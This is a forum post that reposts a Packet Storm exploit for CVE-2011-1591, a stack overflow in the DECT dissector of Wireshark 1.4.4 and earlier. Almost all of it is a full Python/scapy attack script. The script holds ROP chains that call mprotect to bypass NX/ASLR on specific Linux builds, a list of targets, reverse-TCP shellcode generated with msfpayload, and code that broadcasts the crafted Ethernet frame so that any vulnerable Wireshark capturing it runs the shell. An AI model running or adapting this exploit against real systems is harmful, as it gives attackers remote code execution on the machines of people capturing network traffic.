Nytro Posted November 23, 2011 Report Posted November 23, 2011 Wireshark 1.4.4 DECT Dissector Buffer OverflowAuthored by ipvWireshark versions 1.4.4 and below DECT dissector remote buffer overflow exploit.#!/usr/bin/env python# -*- coding: iso-8859-15 -*-a = """\n\t-- CVE: 2011-1591 : Wireshark <= 1.4.4 packet-dect.c dissect_dect() --\n## -------- Team : Consortium-of-Pwners# -------- Author : ipv# -------- Impact : high# -------- Target : Archlinux wireshark-gtk-1.4.3-1-i686.pkg.tar.xz# -------- Description## This code exploits a remote stack based buffer overflow in the DECT dissector of# wireshark. ROP chains aims to recover dynamically stack address, mprotect it and stack pivot to# shellcode located the payload.# All the process is automated, and bypass any NX/ALSR.## Operating Systems tested : [see the summary] with scapy >= 2.5# For any comments, remarks, news, please mail me : ipv _at_ [team] . net###########################################################################\n"""import sys, structif sys.version_info >= (2, 5): from scapy.all import *else: from scapy import *# aligndef _x(v): return struct.pack("<I", v)# Gadget Table - Arch linux v2010.05 default package# - wireshark-cli-1.4.3-1-i686.pkg.tar.xz # - wireshark-gtk-1.4.3-1-i686.pkg.tar.xzarch_rop_chain = [ # Safe SEIP overwrite _x(0x8069acb), # pop ebx ; pop esi ; pop ebp _x(0), _x(0x80e9360), _x(0), # fake (arg1, arg2, arg3), to avoid crash # mprotect 1st arg : stack & 0xffff0000 _x(0x8067d90), # push esp ; pop ebp _x(0x8081f2e), # xchg ebp eax _x(0x80f9d7f), # xchg ecx, eax _x(0x8061804), # pop eax _x(0xffff0000), # _x(0x80c69f0), # xchg edi, eax _x(0x80ff067), # and ecx edi ; dec ecx _x(0x8077c53), # inc ecx ; sub al 0x5d _x(0x8061804), # pop eax _x(0x7f16a5d0), # avoid crash with dec dword [ecx-0x76fbdb8c] _x(0x8048360), # xchg ecx eax _x(0x8089f46), # xchg edx eax ; std ; dec dword [ecx-0x76fbdb8c] _x(0x8067d90), # push esp ; pop ebp _x(0x8081f2e), # xchg ebp eax _x(0x8067d92)*7, # ret # 1st arg of mprotect is on esp+48 address (see below) _x(0x80745f9), # mov [eax+0x50] edx ; pop ebp _x(0), # we search address of mprotect (@mprotect = @fopen + 0x6fe70) _x(0x8065226), # pop eax _x(0x81aca20-0xc), # got[fopen] _x(0x8074597), # mov eax [eax+0xc] _x(0x8048360), # xchg ecx eax _x(0x8065226), # pop eax _x(0x6fe70), _x(0x8081f2e), # xchg ebp eax _x(0x806973d), # add ecx ebp _x(0x08104f61), # jmp *%ecx _x(0x0811eb63), # pop ebx, pop esi, pop edi # mprotect args (base_addr, page size, mode) _x(0), # Stack Map that is updated dynamically (see upper) _x(0x10000), # PAGE size 0x1000 _x(0x7), # RWX Mode # now we can jump to our lower addressed shellcode by decreasing esp register _x(0x8061804), # pop eax _x(0xff+0x50), # esp will be decreased of 0xff + 0x50 bytes; _x(0x80b8fc8), # xchg edi eax _x(0x8067d90), # push esp ; pop ebp _x(0x80acc63), # sub ebp, edi ; dec ecx _x(0x8081f2e), # xchg ebp eax _x(0x0806979e) # jmp *eax]# Gadget Table - Bt4 compiled without SSP/FortifySource# Source wireshark 1.4.3labs_rop_chain = [ # Safe SEIP overwrite _x(0x08073fa1), # pop ebx ; pop esi ; pop ebp _x(0), _x(0x0808c4d3), _x(0), # fake (arg1, arg2, arg3), to avoid crash # sys_mprotect : eax=125(0x7D) ; ebx=address base ; ecx = size page ; edx = mode # mprotect 3r d arg _x(0x080e64cf), # pop edx ; pop es ; add cl cl _x(0x7), _x(0x0), # RWX mode 0x7 # mprotect 1st arg (logical AND with stack address to get address base), _x(0x080a1711), # mov edi esp ; dec ecx _x(0x0815b74f), # pop ecx _x(0xffff0000), # _x(0x0804c73c), # xchg ecx eax _x(0x080fadd7), # and edi eax ; dec ecx _x(0x0804c73c), # xchg ecx eax _x(0x080af344), # mov ebx edi ; dec ecx # mprotect 2nd arg _x(0x0815b74f), # pop ecx _x(0x10000), # PAGE size 0x10000 # int 0x80 : here vdso is not randomized, so, we use it! _x(0x80d8b71), # pop eax _x(0x7D), # 0x7D = mprotect syscall _x(0x804e6df), # pop *esi _x(0xffffe411), # int 0x80 # _x(0xffffe414), # @sysenter in .vdso _x(0x080ab949), # jmp *esi # now we can jump to our lower addressed shellcode by decreasing esp register _x(0x0815b74f), # pop ecx _x(256), # esp will be decreased of 256bytes _x(0x080a1711), # mov edi esp ; dec ecx _x(0x081087d3), # sub edi ecx ; dec ecx _x(0x080f7cb1) # jmp *edi]addr_os = { # ID # OS # STACK SIZE # GADGET TABLE 1 : ["Arch Linux 2010.05 ", 0xb9, arch_rop_chain], # wireshark-gtk-1.4.3-1-i686.pkg.tar.xz 2 : ["Labs test ", 0xbf, labs_rop_chain], -1 : ["Debian 5.0.8 Lenny ", -3, False], # wireshark_1.0.2-3+lenny12_i386.deb -2 : ["Debian 6.0.2 Squeeze ", -1, False], # wireshark_1.2.11-6+squeeze1_i386.deb -3 : ["Fedora 14 ", -1, False], # wireshark-1.4.3-1.2.2.i586.rpm -4 : ["OpenSuse 11.3 ", -1, False], # wireshark-1.4.3-1.2.2.i586.rpm -5 : ["Ubuntu 10.10 | 11.04 ", -1, False], # -6 : ["Gentoo * ", -2, False] #}print adef usage(): print "Please select and ID >= 0 :\n" print " ID TARGET INFO" print "--------------------------------------------------------------------" for i in addr_os.iteritems(): print " %2d -- %s "%(i[0], i[1][0]), if i[1][1] == -1: print "Default package uses LibSSP & Fortify Source" elif i[1][1] == -2: print "Compiled/Build with Fortify Source" elif i[1][1] == -3: print "DECT protocol not supported" else: print "VULN -> Stack size %d"%(i[1][1]) sys.exit(1)if len(sys.argv) == 1: usage()elif addr_os.has_key(int(sys.argv[1])) is False: usage()elif int(sys.argv[1]) < 0: usage()target = addr_os[int(sys.argv[1])]print "\n[+] Target : %s"%target[0]rop_chain = "".join([ rop for rop in target[2]])# msfpayload linux/x86/shell_reverse_tcp LHOST=127.0.0.1 Crev_tcp_shell = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";SEIP_SMASH = target[1]print "\t[+] Length for smashing SEIP : 0x%%d)"%(SEIP_SMASH, SEIP_SMASH)nopsled = "\x90"head_nop = 50shellcode = nopsled * head_nop + rev_tcp_shell + nopsled * (SEIP_SMASH-len(rev_tcp_shell) - head_nop)payload = shellcode + rop_chain# stack alignmentif (len(payload) % 2): diff = len(payload) % 2 payload = payload[(2-diff):]print "\t[+] Payload length : %d"%len(payload)evil_packet = Ether(type=0x2323, dst="ff:ff:ff:ff:ff:ff") / payload# evil_packet.show()print "\t[+] Evil packet length : %d"%len(evil_packet)print "\t[+] Sending packet to broadcast"sendp(evil_packet)Sursa: Wireshark 1.4.4 DECT Dissector Buffer Overflow ? Packet Storm Quote
